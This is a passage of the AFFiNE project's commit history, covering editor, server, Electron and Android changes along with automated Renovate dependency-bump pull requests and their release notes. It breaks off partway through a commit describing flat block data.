- [chore(android): add stable/canary environment](https://github.com/toeverything/AFFiNE/pull/9868/commits/72a96bfa5f741c690759f1fd09efa3cd812ab232)
- [feat(android): set cookies for apollo client](https://github.com/toeverything/AFFiNE/pull/9868/commits/7664cc4f1939b9dd42a2a616dc676ca9500c27d4)
- [feat(android): google & magic-link sign-in](https://github.com/toeverything/AFFiNE/pull/9868/commits/c54ce3b43b4d2f7d927a7784796ee3d20cd55dc9)
- [eat(android): change logo](https://github.com/toeverything/AFFiNE/pull/9868/commits/8c5062adbc44545851c998572f01a16caf6ce83b)
- [chore(android): fix pipleline](https://github.com/toeverything/AFFiNE/pull/9868/commits/4a68299be4b04935b101e32b0da74cc07f43b785)
- [fix(android): rebase issues](https://github.com/toeverything/AFFiNE/pull/9868/commits/c6858c5ecfa9288b2bad4b4bd6c800f5d8aef47e)
- [docs(android): update README for compat with java 21](https://github.com/toeverything/AFFiNE/pull/9868/commits/6eac3ba0dca3af8e1bace20a260390b57b7d590b)
- [fix(android): android pipeline](https://github.com/toeverything/AFFiNE/pull/9868/commits/1103c87880a5a01a8fd55e01c80a43934b8b61ef)
2025-02-05 06:08:28 +00:00
Yifeng Wang cbb73d8034 fix(editor): render position of repeated sentence (#9948) 2025-02-05 04:41:24 +00:00
Yifeng Wang 8afc50c730 fix(editor): support worker renderer zoom (#9943) 2025-02-05 12:16:06 +08:00
Saul-Mirone 0553ae72b5 refactor(editor): remove deprecated editor slot (#9908) 2025-02-04 12:56:41 +00:00
pengx17 3834699c68 fix(electron): add refer/origin to api requests (#9880)
related to BS-2181
2025-02-02 10:05:02 +00:00
liuyi a95803d33b fix(server): selfhost should not use canary mobile pages (#9929) 2025-02-02 10:00:51 +00:00
liuyi 2084b86797 chore(server): remove old subscription table usage (#9928) 2025-02-02 17:48:54 +08:00
forehalo d03447f52e fix(server): should redeem onetime invoice only once (#9927)
fix CLOUD-115
2025-02-02 09:18:06 +00:00
renovate a673f42073 chore: bump up tailwindcss version to v4 (#9918)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`^3.4.16` -> `^4.0.0`](https://renovatebot.com/diffs/npm/tailwindcss/3.4.17/4.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/3.4.17/4.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/3.4.17/4.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>tailwindlabs/tailwindcss (tailwindcss)</summary>

### [`v4.0.3`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#403---2025-02-01)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.2...v4.0.3)

##### Fixed

-   Fix incorrect removal of `@import url();` ([#&#8203;16144](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16144))

### [`v4.0.2`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#402---2025-01-31)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.1...v4.0.2)

##### Fixed

-   Only generate positive `grid-cols-*` and `grid-rows-*` utilities ([#&#8203;16020](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16020))
-   Ensure escaped theme variables are handled correctly ([#&#8203;16064](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16064))
-   Ensure we process Tailwind CSS features when only using `@reference` or `@variant` ([#&#8203;16057](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16057))
-   Refactor gradient implementation to work around [prettier/prettier#17058](https://redirect.github.com/prettier/prettier/issues/17058) ([#&#8203;16072](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16072))
-   Vite: Ensure hot-reloading works with SolidStart setups ([#&#8203;16052](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16052))
-   Vite: Fix a crash when starting the development server in SolidStart setups ([#&#8203;16052](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16052))
-   Vite: Don't rebase URLs that appear to be aliases ([#&#8203;16078](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16078))
-   Vite: Transform `<style>` blocks in HTML files ([#&#8203;16069](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16069))
-   Prevent camel-casing CSS custom properties added by JavaScript plugins ([#&#8203;16103](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16103))
-   Do not emit `@keyframes` in `@theme reference` ([#&#8203;16120](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16120))
-   Discard invalid declarations when parsing CSS ([#&#8203;16093](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16093))
-   Do not emit empty CSS rules and at-rules ([#&#8203;16121](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16121))
-   Handle `@variant` when at the top-level of a stylesheet ([#&#8203;16129](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16129))

### [`v4.0.1`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#401---2025-01-29)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.0...v4.0.1)

##### Added

-   Include `:open` pseudo-class in existing `open` variant ([#&#8203;15349](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15349))

##### Fixed

-   Remove invalid `min-w/h-none` utilities ([#&#8203;15845](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15845))
-   Discard CSS variable shorthand utilities that don't use valid CSS variables ([#&#8203;15738](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15738))
-   Ensure font-size utilities with `none` modifier have a line-height set e.g. `text-sm/none` ([#&#8203;15921](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15921))
-   Ensure font-size utilities with unknown modifier don't generate CSS ([#&#8203;15921](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15921))
-   Don’t suggest font weight utilities more than once ([#&#8203;15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857))
-   Suggest container query variants ([#&#8203;15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857))
-   Disable bare value suggestions when not using the `--spacing` variable ([#&#8203;15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857))
-   Ensure suggested classes are properly sorted ([#&#8203;15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857))
-   Don’t look at .gitignore files outside initialized repos ([#&#8203;15941](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15941))
-   Find utilities when using the Svelte class shorthand syntax across multiple lines ([#&#8203;15974](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15974))
-   Find utilities when using the Angular class shorthand syntax ([#&#8203;15974](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15974))
-   Find utilities when using functions inside arrays ([#&#8203;15974](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15974))
-   Ensure that `@tailwindcss/browser` does not pollute the global namespace ([#&#8203;15978](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15978))
-   Ensure that `tailwind-merge` is not scanned when using the Vite plugin ([#&#8203;16005](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16005))
-   Ensure CSS theme variables are available within shadow roots ([#&#8203;15975](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15975))
-   Fix crash when project lives in the `/` directory ([#&#8203;15988](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15988))
-   Ensure custom variants have a non-empty selector list ([#&#8203;16009](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16009))
-   *Upgrade*: Ensure JavaScript config files on different drives are correctly migrated ([#&#8203;15927](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15927))
-   *Upgrade*: Migrate `leading-[1]` to `leading-none` ([#&#8203;16004](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16004))
-   *Upgrade*: Do not migrate arbitrary leading utilities to bare values ([#&#8203;16004](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16004))

### [`v4.0.0`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#400---2025-01-21)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v3.4.17...v4.0.0)

##### Added

-   [New high-performance engine](https://tailwindcss.com/blog/tailwindcss-v4#new-high-performance-engine) — where full builds are up to 5x faster, and incremental builds are over 100x faster — and measured in microseconds.
-   [Designed for the modern web](https://tailwindcss.com/blog/tailwindcss-v4#designed-for-the-modern-web) — built on cutting-edge CSS features like cascade layers, registered custom properties with `@property`, and `color-mix()`.
-   [Simplified installation](https://tailwindcss.com/blog/tailwindcss-v4#simplified-installation) — fewer dependencies, zero configuration, and just a single line of code in your CSS file.
-   [First-party Vite plugin](https://tailwindcss.com/blog/tailwindcss-v4#first-party-vite-plugin) — tight integration for maximum performance and minimum configuration.
-   [Automatic content detection](https://tailwindcss.com/blog/tailwindcss-v4#automatic-content-detection) — all of your template files are discovered automatically, with no configuration required.
-   [Built-in import support](https://tailwindcss.com/blog/tailwindcss-v4#built-in-import-support) — no additional tooling necessary to bundle multiple CSS files.
-   [CSS-first configuration](https://tailwindcss.com/blog/tailwindcss-v4#css-first-configuration) — a reimagined developer experience where you customize and extend the framework directly in CSS instead of a JavaScript configuration file.
-   [CSS theme variables](https://tailwindcss.com/blog/tailwindcss-v4#css-theme-variables) — all of your design tokens exposed as native CSS variables so you can access them anywhere.
-   [Dynamic utility values and variants](https://tailwindcss.com/blog/tailwindcss-v4#dynamic-utility-values-and-variants) — stop guessing what values exist in your spacing scale, or extending your configuration for things like basic data attributes.
-   [Modernized P3 color palette](https://tailwindcss.com/blog/tailwindcss-v4#modernized-p3-color-palette) — a redesigned, more vivid color palette that takes full advantage of modern display technology.
-   [Container queries](https://tailwindcss.com/blog/tailwindcss-v4#container-queries) — first-class APIs for styling elements based on their container size, no plugins required.
-   [New 3D transform utilities](https://tailwindcss.com/blog/tailwindcss-v4#new-3d-transform-utilities) — transform elements in 3D space directly in your HTML.
-   [Expanded gradient APIs](https://tailwindcss.com/blog/tailwindcss-v4#expanded-gradient-apis) — radial and conic gradients, interpolation modes, and more.
-   [@&#8203;starting-style support](https://tailwindcss.com/blog/tailwindcss-v4#starting-style-support) — a new variant you can use to create enter and exit transitions, without the need for JavaScript.
-   [not-\* variant](https://tailwindcss.com/blog/tailwindcss-v4#not-variant) — style an element only when it doesn't match another variant, custom selector, or media or feature query.
-   [Even more new utilities and variants](https://tailwindcss.com/blog/tailwindcss-v4#even-more-new-utilities-and-variants) — including support for `color-scheme`, `field-sizing`, complex shadows, `inert`, and more.

Start using Tailwind CSS v4.0 today by [installing it in a new project](https://tailwindcss.com/docs/installation/), or playing with it directly in the browser on [Tailwind Play](https://play.tailwindcss.com/).

For existing projects, we've published a comprehensive [upgrade guide](https://tailwindcss.com/docs/upgrade-guide) and built an [automated upgrade tool](https://tailwindcss.com/docs/upgrade-guide#using-the-upgrade-tool) to get you on the latest version as quickly and painlessly as possible.

For a deep-dive into everything that's new, [check out the announcement post](https://tailwindcss.com/blog/tailwindcss-v4).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-02 07:43:18 +00:00
renovate 63a427148f chore: bump up tailwind-merge version to v3 (#9917)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [tailwind-merge](https://redirect.github.com/dcastil/tailwind-merge) | [`^2.5.5` -> `^3.0.0`](https://renovatebot.com/diffs/npm/tailwind-merge/2.6.0/3.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwind-merge/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwind-merge/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwind-merge/2.6.0/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwind-merge/2.6.0/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>dcastil/tailwind-merge (tailwind-merge)</summary>

### [`v3.0.1`](https://redirect.github.com/dcastil/tailwind-merge/compare/7378c16adcc261599fa2debe8c18d77071c946f4...493fa8c11046249332aa42e9269affdb786023a1)

[Compare Source](https://redirect.github.com/dcastil/tailwind-merge/compare/v3.0.0...v3.0.1)

### [`v3.0.0`](https://redirect.github.com/dcastil/tailwind-merge/compare/v2.6.0...7378c16adcc261599fa2debe8c18d77071c946f4)

[Compare Source](https://redirect.github.com/dcastil/tailwind-merge/compare/v2.6.0...v3.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-01 14:51:48 +00:00
renovate 2b54ebd0be chore: bump up rustc version to v1.84.1 (#9920)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [rustc](https://redirect.github.com/rust-lang/rust) | patch | `1.84.0` -> `1.84.1` |

---

### Release Notes

<details>
<summary>rust-lang/rust (rustc)</summary>

### [`v1.84.1`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1841-2025-01-30)

[Compare Source](https://redirect.github.com/rust-lang/rust/compare/1.84.0...1.84.1)

\==========================

<a id="1.84.1"></a>

-   [Fix ICE 132920 in duplicate-crate diagnostics.](https://redirect.github.com/rust-lang/rust/pull/133304/)
-   [Fix errors for overlapping impls in incremental rebuilds.](https://redirect.github.com/rust-lang/rust/pull/133828/)
-   [Fix slow compilation related to the next-generation trait solver.](https://redirect.github.com/rust-lang/rust/pull/135618/)
-   [Fix debuginfo when LLVM's location discriminator value limit is exceeded.](https://redirect.github.com/rust-lang/rust/pull/135643/)
-   Fixes for building Rust from source:
    -   [Only try to distribute `llvm-objcopy` if llvm tools are enabled.](https://redirect.github.com/rust-lang/rust/pull/134240/)
    -   [Add Profile Override for Non-Git Sources.](https://redirect.github.com/rust-lang/rust/pull/135433/)
    -   [Resolve symlinks of LLVM tool binaries before copying them.](https://redirect.github.com/rust-lang/rust/pull/135585/)
    -   [Make it possible to use ci-rustc on tarball sources.](https://redirect.github.com/rust-lang/rust/pull/135722/)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-01 14:33:47 +00:00
renovate f73b07da66 chore: bump up @vanilla-extract/vite-plugin version to v5 (#9915)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`^4.0.18` -> `^5.0.0`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`^4.0.19` -> `^5.0.0`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>vanilla-extract-css/vanilla-extract (@&#8203;vanilla-extract/vite-plugin)</summary>

### [`v5.0.0`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/vite-plugin/CHANGELOG.md#500)

[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/vite-plugin@4.0.20...@vanilla-extract/vite-plugin@5.0.0)

##### Major Changes

-   [#&#8203;1537](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1537) [`7810b7c`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/commit/7810b7c8b8344dc2b5618b25d2945ecc3d81b469) Thanks [@&#8203;askoufis](https://redirect.github.com/askoufis)! - Change the plugin name from `"vanilla-extract"` to the more [conventional][plugin conventions] `"vite-plugin-vanilla-extract"`

    [plugin conventions]: https://vite.dev/guide/api-plugin.html#conventions

-   [#&#8203;1529](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1529) [`d5b6e70`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/commit/d5b6e70f44a3d4f03e113fe78e0605b358e9c0d7) Thanks [@&#8203;askoufis](https://redirect.github.com/askoufis)! - Update `vite` peer dependency range to `^5.0.0 || ^6.0.0`

    BREAKING CHANGE: Vite 4 is no longer supported. Please upgrade to at least Vite 5.

-   [#&#8203;1537](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1537) [`7810b7c`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/commit/7810b7c8b8344dc2b5618b25d2945ecc3d81b469) Thanks [@&#8203;askoufis](https://redirect.github.com/askoufis)! - BREAKING CHANGE: User-configured vite plugins are no longer forwarded through to the Vanilla Extract compiler by default. This should not affect most consumers.

    Previously, all vite plugins except for a select few incompatible plugins were forwarded through. This resulted in a constant game of whack-a-mole as new plugins were added to the list of incompatible plugins as issues were discovered.

    Framework-specific plugins, as well as plugins that handle assets and build output, tend not to be relevant to Vanilla Extract code, and in some cases cause more harm than good.

    For that reason, in this release only the `vite-tsconfig-paths` plugin is fowarded through by default. This is a relatively common plugin that is know to be compatible with the Vanilla Extract compiler.

    In most cases users should not need to forward any additional plugins through to the Vanilla Extract compiler. However, if such a case arises, a plugin filter function can be provided via the `unstable_pluginFilter` option:

    ```ts
    // vite.config.ts

    import { vanillaExtractPlugin } from '@&#8203;vanilla-extract/vite-plugin';
    import { vitePluginFoo } from 'vite-plugin-foo';

    export default defineConfig({
      plugins: [
        vitePluginFoo(),
        vanillaExtractPlugin({
          // Only forward the `vite-plugin-foo` plugin through to the Vanilla Extract compiler
          unstable_pluginFilter: ({ name, mode }) =>
            plugin.name === 'vite-plugin-foo'
        })
      ]
    });
    ```

    When providing a plugin filter function, the `vite-tsconfig-paths` plugin will no longer be forwarded through by default. If you wish to forward this plugin, you must include it in your filter function.

    **NOTE**: The `unstable_pluginFilter` API is considered unstable and may be changed or removed without notice in a future non-major version.

##### Patch Changes

-   Updated dependencies \[[`d5b6e70`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/commit/d5b6e70f44a3d4f03e113fe78e0605b358e9c0d7), [`d5b6e70`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/commit/d5b6e70f44a3d4f03e113fe78e0605b358e9c0d7)]:
    -   [@&#8203;vanilla-extract/compiler](https://redirect.github.com/vanilla-extract/compiler)[@&#8203;0](https://redirect.github.com/0).1.1

### [`v4.0.20`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/vite-plugin/CHANGELOG.md#4020)

[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/vite-plugin@4.0.19...@vanilla-extract/vite-plugin@4.0.20)

##### Patch Changes

-   [#&#8203;1536](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1536) [`a8248be`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/commit/a8248befac51aa51d771b9b22a46209b1fd1e3b3) Thanks [@&#8203;askoufis](https://redirect.github.com/askoufis)! - Consume compiler API from new `@vanilla-extract/compiler` package instead of `@vanilla-extract/integration`

-   Updated dependencies \[[`5f66abb`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/commit/5f66abbd607e76d491bbb7b9bfe9c64c882a53e8), [`a8248be`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/commit/a8248befac51aa51d771b9b22a46209b1fd1e3b3), [`a8248be`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/commit/a8248befac51aa51d771b9b22a46209b1fd1e3b3), [`ec0b024`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/commit/ec0b024fd19c133c233445f9e860626d104f9d97), [`a8248be`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/commit/a8248befac51aa51d771b9b22a46209b1fd1e3b3)]:
    -   [@&#8203;vanilla-extract/integration](https://redirect.github.com/vanilla-extract/integration)[@&#8203;8](https://redirect.github.com/8).0.0
    -   [@&#8203;vanilla-extract/compiler](https://redirect.github.com/vanilla-extract/compiler)[@&#8203;0](https://redirect.github.com/0).1.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjM5LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-30 10:40:44 +00:00
Saul-Mirone f3f6e8c6ac refactor(editor): remove attachment and image block service (#9909) 2025-01-28 20:53:23 +00:00
Saul-Mirone 9c65c42d64 chore(editor): cleanup dead code (#9904) 2025-01-27 17:06:42 +00:00
Saul-Mirone 17bf75e843 refactor(editor): remove dependency of command global types (#9903)
Closes: [BS-2216](https://linear.app/affine-design/issue/BS-2216/remove-global-types-in-command)
2025-01-27 12:28:46 +00:00
pengx17 4b549e0484 fix(electron): optimize find in page in electron (2) (#9901)
1. find in page should have higher z-index than other modals
2. fix focused texts are not automatically being used as the default input value for searching
2025-01-27 07:58:16 +00:00
pengx17 ffbec1633e fix(electron): optimize find in page in electron (#9900)
fix AF-2168
When using find in page (cmd+f) in electron, the popup should not prevent the user from interacting with the main content.
Also fixed some minor ui issues
2025-01-27 07:19:12 +00:00
Oleg e3fac97b9b fix(web): minor bug fixes (#9696)
Co-authored-by: Mirone <Saul-Mirone@outlook.com>
2025-01-27 14:21:41 +09:00
doouding 73b4437081 chore: dnd cleanup (#9899) 2025-01-27 04:29:14 +00:00
fundon ffd54c6620 refactor(editor): use selected signal in block component (#9849) 2025-01-27 02:56:10 +00:00
pengx17 a5c8356376 chore(electron): split view tracking events (#9896)
fix AF-2037
2025-01-27 02:40:08 +00:00
Saul-Mirone d6bfb761fe fix(editor): typecheck for tests and playground (#9897) 2025-01-27 02:00:09 +00:00
renovate 6c8edb160c chore: bump up oxlint version to v0.15.8 (#9886)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.7` -> `0.15.8`](https://renovatebot.com/diffs/npm/oxlint/0.15.7/0.15.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.7/0.15.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.7/0.15.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.8`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#0158---2025-01-24)

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.7...oxlint_v0.15.8)

##### Features

-   [`79ba9b5`](https://redirect.github.com/oxc-project/oxc/commit/79ba9b5) linter: Added support to run in Node.JS legacy versions ([#&#8203;8648](https://redirect.github.com/oxc-project/oxc/issues/8648)) (Luiz Felipe Weber)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjM5LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-26 09:00:47 +00:00
forehalo 6370f45928 feat(server): cluster level event system (#9884) 2025-01-25 14:51:03 +00:00
pengx17 0d2c2ea21e fix(core): tag input keyboard control enhancements (#9881)
fix AF-2166
2025-01-25 14:35:49 +00:00
Saul-Mirone 1858947e0c feat(editor): flat block data (#9854)
Flat block data.

A new block type to flatten the block data

```typescript
// For developers
type Model = {
  blocks: Record<string, {
    flavour: string;
    cells: Record<string, {
      rowId: string;
      colId: string;
      text: Text;
    }>;
    cols: Record<string, {
      align: string;
    }>
    rows: Record<string, {
      backgroundColor: string;
    }>
  }>
}

// How it's saved in yjs
const yData = {
  blocks: {
    'blockId1': {
      flavour: 'affine:table',
      'prop:rows:row1:backgroundColor': 'white',
      'prop:cols:col1:align': 'left',
      'prop:cells:cell1:rowId': 'row1',
      'prop:cells:cell1:colId': 'col1',
